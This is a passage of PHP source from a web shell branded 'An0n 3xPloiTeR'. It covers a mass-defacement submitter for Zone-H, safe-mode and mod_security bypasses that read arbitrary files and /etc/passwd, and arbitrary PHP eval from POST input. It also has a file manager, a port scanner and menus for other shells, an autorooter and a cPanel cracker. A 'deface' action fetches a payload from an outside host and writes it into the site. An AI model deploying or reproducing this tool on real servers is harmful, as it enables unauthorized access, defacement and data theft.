721 } elseif ($method9 == "--------SELECT--------") {
722 die("[-] You Must Select The Method !");
723 } elseif ($neden9 == "--------SELECT--------") {
724 die("[-] You Must Select The Reason");
725 } elseif (empty($site9)) {
726 die("[-] You Must Inter the Sites List ! ");
727 }
728 $i = 0;
729 $sites = explode("
730", $site9);
731 while ($i < count($sites)) {
732 if (substr($sites[$i], 0, 4) != "http") {
733 $sites[$i] = "http://" . $sites[$i];
734 }
735 ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
736 echo "Site : " . $sites[$i] . " Defaced ! </br>";
737 ++$i;
738 }
739 echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
740 }
741 echo '</div></center>';
742 An0n3xPloiTeRFooter();
743 }
744
745
746function actionAbout() {
747 An0n3xPloiTeRHeader();
748
749echo "
750<style>
751 .font{
752 text-transform: capitalize;
753 text-align: center;
754 }
755</style>
756<center>
757<h1>About Me</h1>
758<h2><a href='https://www.google.com/search?q=An0n 3xPloiTeR'><q>An0n 3xPloiTeR</q></a></h2>
759<div class='font'><span>
760 I'm a 15 years old security and hacking fan. I like to understand things in depth, for me, the real knowledge is not defacing, I now think you'll waste your time, by putting a page<br>
761 <q>Hacked by An0n 3xPloiTeR, None system is secure</q><br> the real knowledge in hacking has no limits, for me the real hacking is a way of thinking.<br> a way of liking understanding things in depth, <br> like learning C language (PHP has mainly been coded in C,
762 your operating system has mainly been coded in C).<br> A real hacker knows his computer's secrets, defacing is a shame on this world, however, it's one of my interest and favourite one's :P<br></span>
763 <span><font>Greetz ~<marquee width='80%''># Shariq Maik | # Prinxe Haxi | # Devil Killer | # Ghazif Adeem | # An0n 3xPloiTeR | # Zero Cool | # Wahab Hacker | # Rizi Haxor | # Mr.X3r0 | # 8R0K3N H34R7 | # CYB3R71 | # 3htisham | # And All Muslim Hackers <3</marquee></span></font></span></div></center>
764 ";
765
766 An0n3xPloiTeRFooter();
767}
768
769
770 function actionSafeMode() {
771 $temp='';
772 ob_start();
773 switch($_POST['p1']) {
774 case 1:
775 $temp=@tempnam($test, 'cx');
776 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
777 echo @file_get_contents($temp);
778 unlink($temp);
779 } else
780 echo 'Sorry... Can\'t open file';
781 break;
782 case 2:
783 $files = glob($_POST['p2'].'*');
784 if( is_array($files) )
785 foreach ($files as $filename)
786 echo $filename."\n";
787 break;
788 case 3:
789 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
790 curl_exec($ch);
791 break;
792 case 4:
793 ini_restore("safe_mode");
794 ini_restore("open_basedir");
795 include($_POST['p2']);
796 break;
797 case 5:
798 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
799 $uid = @posix_getpwuid($_POST['p2']);
800 if ($uid)
801 echo join(':',$uid)."\n";
802 }
803 break;
804 }
805 $temp = ob_get_clean();
806 An0n3xPloiTeRHeader();
807 echo '<center><h1>Safe mode bypass</h1></center><center><div class=content>';
808 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
809 if($temp)
810 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
811 echo '</div><br>';
812 echo '<h1>Safe Mode</h1>';
813 echo '<div class="content">';
814 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
815 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
816 if(!empty($_POST['p2']) && isset($_POST['p2']))
817 {
818 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
819 fwrite($fil,'<IfModule mod_security.c>
820 Sec------Engine Off
821 Sec------ScanPOST Off
822 </IfModule>');
823 fclose($fil);
824 }
825 if(!empty($_POST['p1'])&& isset($_POST['p1']))
826 {
827 $fil=fopen($GLOBALS['cwd']."php.ini","w");
828 fwrite($fil,'safe_mode=OFF
829 disable_functions=NONE');
830 fclose($fil);
831 }
832 if(!empty($_POST['p3']) && isset($_POST['p3']))
833 {
834 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
835 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
836 AddType application/x-httpd-cgi .sh
837 AddHandler cgi-script .pl
838 AddHandler cgi-script .pl');
839 fclose($fil);
840 }
841 echo "<br><br /><br /></div>";
842 echo '</div>';
843 An0n3xPloiTeRFooter();
844 }
845function actionPhp() {
846 if(isset($_POST['ajax'])) {
847 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
848 ob_start();
849 eval($_POST['p1']);
850 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
851 echo strlen($temp), "\n", $temp;
852 exit;
853 }
854 if(empty($_POST['ajax']) && !empty($_POST['p1']))
855 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
856
857 An0n3xPloiTeRHeader();
858 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
859 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
860 ob_start();
861 phpinfo();
862 $tmp = ob_get_clean();
863 $tmp = preg_replace(array (
864 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
865 '!td, th {(.*)}!msiU',
866 '!<img[^>]+>!msiU',
867 ), array (
868 '',
869 '.e, .v, .h, .h th {$1}',
870 ''
871 ), $tmp);
872 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
873 }
874 echo '<center><h1>Execution PHP-code</h1></center><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
875 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
876 if(!empty($_POST['p1'])) {
877 ob_start();
878 eval($_POST['p1']);
879 echo htmlspecialchars(ob_get_clean());
880 }
881 echo '</pre></div>';
882 An0n3xPloiTeRFooter();
883}
884
885function actionFilesMan() {
886 if (!empty ($_COOKIE['f']))
887 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
888
889 if(!empty($_POST['p1'])) {
890 switch($_POST['p1']) {
891 case 'uploadFile':
892 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
893 echo "Can't upload!";
894 break;
895 case 'mkdir':
896 if(!@mkdir($_POST['p2']))
897 echo "Can't create!";
898 break;
899 case 'delete':
900 function deleteDir($path) {
901 $path = (substr($path,-1)=='/') ? $path:$path.'/';
902 $dh = opendir($path);
903 while ( ($item = readdir($dh) ) !== false) {
904 $item = $path.$item;
905 if ( (basename($item) == "..") || (basename($item) == ".") )
906 continue;
907 $type = filetype($item);
908 if ($type == "dir")
909 deleteDir($item);
910 else
911 @unlink($item);
912 }
913 closedir($dh);
914 @rmdir($path);
915 }
916 if(is_array(@$_POST['f']))
917 foreach($_POST['f'] as $f) {
918 if($f == '..')
919 continue;
920 $f = urldecode($f);
921 if(is_dir($f))
922 deleteDir($f);
923 else
924 @unlink($f);
925 }
926 break;
927 case 'paste':
928 if($_COOKIE['act'] == 'copy') {
929 function copy_paste($c,$s,$d){
930 if(is_dir($c.$s)){
931 mkdir($d.$s);
932 $h = @opendir($c.$s);
933 while (($f = @readdir($h)) !== false)
934 if (($f != ".") and ($f != ".."))
935 copy_paste($c.$s.'/',$f, $d.$s.'/');
936 } elseif(is_file($c.$s))
937 @copy($c.$s, $d.$s);
938 }
939 foreach($_COOKIE['f'] as $f)
940 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
941 } elseif($_COOKIE['act'] == 'move') {
942 function move_paste($c,$s,$d){
943 if(is_dir($c.$s)){
944 mkdir($d.$s);
945 $h = @opendir($c.$s);
946 while (($f = @readdir($h)) !== false)
947 if (($f != ".") and ($f != ".."))
948 copy_paste($c.$s.'/',$f, $d.$s.'/');
949 } elseif(@is_file($c.$s))
950 @copy($c.$s, $d.$s);
951 }
952 foreach($_COOKIE['f'] as $f)
953 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
954 } elseif($_COOKIE['act'] == 'zip') {
955 if(class_exists('ZipArchive')) {
956 $zip = new ZipArchive();
957 if ($zip->open($_POST['p2'], 1)) {
958 chdir($_COOKIE['c']);
959 foreach($_COOKIE['f'] as $f) {
960 if($f == '..')
961 continue;
962 if(@is_file($_COOKIE['c'].$f))
963 $zip->addFile($_COOKIE['c'].$f, $f);
964 elseif(@is_dir($_COOKIE['c'].$f)) {
965 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
966 foreach ($iterator as $key=>$value) {
967 $zip->addFile(realpath($key), $key);
968 }
969 }
970 }
971 chdir($GLOBALS['cwd']);
972 $zip->close();
973 }
974 }
975 } elseif($_COOKIE['act'] == 'unzip') {
976 if(class_exists('ZipArchive')) {
977 $zip = new ZipArchive();
978 foreach($_COOKIE['f'] as $f) {
979 if($zip->open($_COOKIE['c'].$f)) {
980 $zip->extractTo($GLOBALS['cwd']);
981 $zip->close();
982 }
983 }
984 }
985 } elseif($_COOKIE['act'] == 'tar') {
986 chdir($_COOKIE['c']);
987 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
988 An0n3xPloiTeREx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
989 chdir($GLOBALS['cwd']);
990 }
991 unset($_COOKIE['f']);
992 setcookie('f', '', time() - 3600);
993 break;
994 default:
995 if(!empty($_POST['p1'])) {
996 An0n3xPloiTeRsetcookie('act', $_POST['p1']);
997 An0n3xPloiTeRsetcookie('f', serialize(@$_POST['f']));
998 An0n3xPloiTeRsetcookie('c', @$_POST['c']);
999 }
1000 break;
1001 }
1002 }
1003 An0n3xPloiTeRHeader();
1004 echo '<center><h1>File manager</h1></center><div class=content><script>p1_=p2_=p3_="";</script>';
1005 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
1006 $def = file_get_contents('http://hexinjector.cu.ma/pwd/deface.php');
1007 file_put_contents($_POST['c'].$_POST['p2'],$def);
1008 }
1009 $dirContent = An0n3xPloiTeRScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1010 if($dirContent === false) { echo 'Can\'t open this folder!';An0n3xPloiTeRFooter(); return; }
1011 global $sort;
1012 $sort = array('name', 1);
1013 if(!empty($_POST['p1'])) {
1014 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1015 $sort = array($match[1], (int)$match[2]);
1016 }
1017echo "<script>
1018 function sa() {
1019 for(i=0;i<d.files.elements.length;i++)
1020 if(d.files.elements[i].type == 'checkbox')
1021 d.files.elements[i].checked = d.files.elements[0].checked;
1022 }
1023</script>
1024<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1025<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1026 $dirs = $files = array();
1027 $n = count($dirContent);
1028 for($i=0;$i<$n;$i++) {
1029 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1030 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1031 $tmp = array('name' => $dirContent[$i],
1032 'path' => $GLOBALS['cwd'].$dirContent[$i],
1033 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1034 'perms' => An0n3xPloiTeRPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1035 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1036 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1037 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1038 );
1039 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1040 $files[] = array_merge($tmp, array('type' => 'file'));
1041 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1042 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
1043 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
1044 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1045 }
1046 $GLOBALS['sort'] = $sort;
1047 function An0n3xPloiTeRCmp($a, $b) {
1048 if($GLOBALS['sort'][0] != 'size')
1049 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1050 else
1051 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1052 }
1053 usort($files, "An0n3xPloiTeRCmp");
1054 usort($dirs, "An0n3xPloiTeRCmp");
1055 $files = array_merge($dirs, $files);
1056 $l = 0;
1057 foreach($files as $f) {
1058 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?An0n3xPloiTeRViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1059 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1060 $l = $l?0:1;
1061 }
1062 echo "<tr><td colspan=5>
1063 <input type=hidden name=a value='FilesMan'>
1064 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1065 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1066 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1067 if(class_exists('ZipArchive'))
1068 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1069 echo "<option value='tar'>Compress (tar.gz)</option>";
1070 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
1071 echo "<option value='paste'>Paste / Compress</option>";
1072 echo "</select> ";
1073 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
1074 echo "file name: <input type=text name=p2 value='An0n3xPloiTeR_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
1075 echo '</select> <input type="submit" value=">>"></td><br><td colspan="2" align="right" width="1"> </td></tr>
1076 </form></table></div>';
1077 An0n3xPloiTeRFooter();
1078}
1079
1080function actionShells() {
1081 An0n3xPloiTeRheader();
1082
1083
1084echo '<center><h1>Shells By An0n 3xPloiTeR</h1></center><div class="content">
1085<br>
1086<table border="1%" align="center" cellpadding="10">
1087<tr>
1088<td>Click And Get The Shells</td>
1089<tr><td>
1090<form action="" method="post">
1091<input type = "submit" name="dhanush" value ="Dhanush Shell">
1092</td></tr>
1093<tr><td>
1094<form action="" method="post">
1095<input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
1096<tr><td>
1097<form action="" method="post">
1098<input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
1099<tr><td>
1100<form action="" method="post">
1101<input type = "submit" name="imageshell" value ="An0n 3xPloiTeR Image Shell"></td></tr>
1102<tr><td>
1103<form action="" method="post">
1104<input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
1105<tr><td>
1106<form action="" method="post">
1107<input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
1108<tr><td>
1109<form action="" method="post">
1110<input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
1111<tr><td>
1112<form action="" method="post">
1113<input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
1114<tr><td>
1115<form action="" method="post">
1116<input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
1117<tr><td>
1118<form action="" method="post">
1119<input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
1120 An0n3xPloiTeRFooter();
1121}
1122
1123function actionTools(){
1124 An0n3xPloiTeRHeader();
1125
1126echo '<center><h1>Tools By An0n 3xPloiTeR</h1></center><div class="content">
1127<br>
1128<table border="1%" align="center" cellpadding="10">
1129<tr>
1130<td>Click And Get The Tools</td>
1131<tr><td>
1132<form action="" method="post">
1133<input type = "submit" name="symlink" value ="Symlinker"></td></tr>
1134<tr><td>
1135<form action="" method="post">
1136<input type = "submit" name="uploader" value ="Uploader By An0n 3xPloiTeR"></td></tr>
1137<tr><td>
1138<form action="" method="post">
1139<input type = "submit" name="mass" value ="Mass Defacer"></td></tr>
1140<tr><td>
1141<form action="" method="post">
1142<input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
1143<tr><td>
1144<form action="" method="post">
1145<input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
1146<tr><td>
1147<form action="" method="post">
1148<input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
1149<tr><td>
1150<form action="" method="post">
1151<input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
1152 An0n3xPloiTeRFooter();
1153}
1154
1155
1156function actionPortScanner() {
1157 An0n3xPloiTeRHeader();
1158 echo '<center><h1>Port Scanner</h1></center>';
1159 echo '<div class="content">';
1160 echo '<form action="" method="post">';
1161
1162 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1163 $start = strip_tags($_POST['start']);
1164 $end = strip_tags($_POST['end']);
1165 $host = strip_tags($_POST['host']);
1166 for($i = $start; $i<=$end; $i++){
1167 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1168 if($fp){
1169 echo 'Port '.$i.' is <font color=green>open</font><br>';
1170 }
1171 flush();
1172 }
1173 } else {
1174 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1175 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1176 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1177 Host: <input type="text" name="host" value="localhost"/><br /><br />
1178 Port start: <input type="text" name="start" value="0"/><br /><br />
1179 Port end:<input type="text" name="end" value="5000"/><br /><br />
1180 <input type="submit" value="ScanPorts" />
1181 </form></center><br /><br />';
1182 }
1183 echo '</div>';
1184 An0n3xPloiTeRFooter();
1185}
1186function actionStringTools() {
1187 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1188 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1189 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1190 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1191 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1192 $stringTools = array(
1193 'Base64 encode' => 'base64_encode',
1194 'Base64 decode' => 'base64_decode',
1195 'Url encode' => 'urlencode',
1196 'Url decode' => 'urldecode',
1197 'Full urlencode' => 'full_urlencode',
1198 'md5 hash' => 'md5',
1199 'sha1 hash' => 'sha1',
1200 'crypt' => 'crypt',
1201 'CRC32' => 'crc32',
1202 'ASCII to HEX' => 'ascii2hex',
1203 'HEX to ASCII' => 'hex2ascii',
1204 'HEX to DEC' => 'hexdec',
1205 'HEX to BIN' => 'hex2bin',
1206 'DEC to HEX' => 'dechex',
1207 'DEC to BIN' => 'decbin',
1208 'BIN to HEX' => 'binhex',
1209 'BIN to DEC' => 'bindec',
1210 'String to lower case' => 'strtolower',
1211 'String to upper case' => 'strtoupper',
1212 'Htmlspecialchars' => 'htmlspecialchars',
1213 'String length' => 'strlen',
1214 );
1215 if(isset($_POST['ajax'])) {
1216 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1217 ob_start();
1218 if(in_array($_POST['p1'], $stringTools))
1219 echo $_POST['p1']($_POST['p2']);
1220 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1221 echo strlen($temp), "\n", $temp;
1222 exit;
1223 }
1224 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1225 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1226 An0n3xPloiTeRHeader();
1227 echo '<center><h1>String conversions</h1></center><div class=content>';
1228 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1229 foreach($stringTools as $k => $v)
1230 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1231 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1232 if(!empty($_POST['p1'])) {
1233 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1234 }
1235 echo"</pre></div><br><h1>Search files:</h1><div class=content>
1236 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1237 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1238 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1239 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1240 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1241 </table></form>";
1242
1243 function An0n3xPloiTeRRecursiveGlob($path) {
1244 if(substr($path, -1) != '/')
1245 $path.='/';
1246 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1247 if(is_array($paths)&&@count($paths)) {
1248 foreach($paths as $item) {
1249 if(@is_dir($item)){
1250 if($path!=$item)
1251 An0n3xPloiTeRRecursiveGlob($item);
1252 } else {
1253 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
1254 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
1255 }
1256 }
1257 }
1258 }
1259 if(@$_POST['p3'])
1260 An0n3xPloiTeRRecursiveGlob($_POST['c']);
1261 echo "</div><br><h1>Search for hash:</h1><div class=content>
1262 <form method='post' target='_blank' name='hf'>
1263 <input type='text' name='hash' style='width:200px;'><br>
1264 <input type='hidden' name='act' value='find'/>
1265 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1266 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1267 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
1268 </form></div>";
1269 An0n3xPloiTeRFooter();
1270}
1271
1272function actionFilesTools() {
1273 if( isset($_POST['p1']) )
1274 $_POST['p1'] = urldecode($_POST['p1']);
1275 if(@$_POST['p2']=='download') {
1276 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1277 ob_start("ob_gzhandler", 4096);
1278 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1279 if (function_exists("mime_content_type")) {
1280 $type = @mime_content_type($_POST['p1']);
1281 header("Content-Type: " . $type);
1282 } else
1283 header("Content-Type: application/octet-stream");
1284 $fp = @fopen($_POST['p1'], "r");
1285 if($fp) {
1286 while(!@feof($fp))
1287 echo @fread($fp, 1024);
1288 fclose($fp);
1289 }
1290 }exit;
1291 }
1292 if( @$_POST['p2'] == 'mkfile' ) {
1293 if(!file_exists($_POST['p1'])) {
1294 $fp = @fopen($_POST['p1'], 'w');
1295 if($fp) {
1296 $_POST['p2'] = "edit";
1297 fclose($fp);
1298 }
1299 }
1300 }
1301 An0n3xPloiTeRHeader();
1302 echo '<h1>File tools</h1><div class=content>';
1303 if( !file_exists(@$_POST['p1']) ) {
1304 echo 'File not exists';
1305 An0n3xPloiTeRFooter();
1306 return;
1307 }
1308 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1309 if(!$uid) {
1310 $uid['name'] = @fileowner($_POST['p1']);
1311 $gid['name'] = @filegroup($_POST['p1']);
1312 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1313 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?An0n3xPloiTeRViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.An0n3xPloiTeRPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1314 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1315 if( empty($_POST['p2']) )
1316 $_POST['p2'] = 'view';
1317 if( is_file($_POST['p1']) )
1318 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1319 else
1320 $m = array('Chmod', 'Rename', 'Touch');
1321 foreach($m as $v)
1322 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1323 echo '<br><br>';
1324 switch($_POST['p2']) {
1325 case 'view':
1326 echo '<pre class=ml1>';
1327 $fp = @fopen($_POST['p1'], 'r');
1328 if($fp) {
1329 while( !@feof($fp) )
1330 echo htmlspecialchars(@fread($fp, 1024));
1331 @fclose($fp);
1332 }
1333 echo '</pre>';
1334 break;
1335 case 'highlight':
1336 if( @is_readable($_POST['p1']) ) {
1337 echo '<div class=ml1 style="background-color: green;color:black;">';
1338 $code = @highlight_file($_POST['p1'],true);
1339 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1340 }
1341 break;
1342 case 'chmod':
1343 if( !empty($_POST['p3']) ) {
1344 $perms = 0;
1345 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1346 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1347 if(!@chmod($_POST['p1'], $perms))
1348 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1349 }
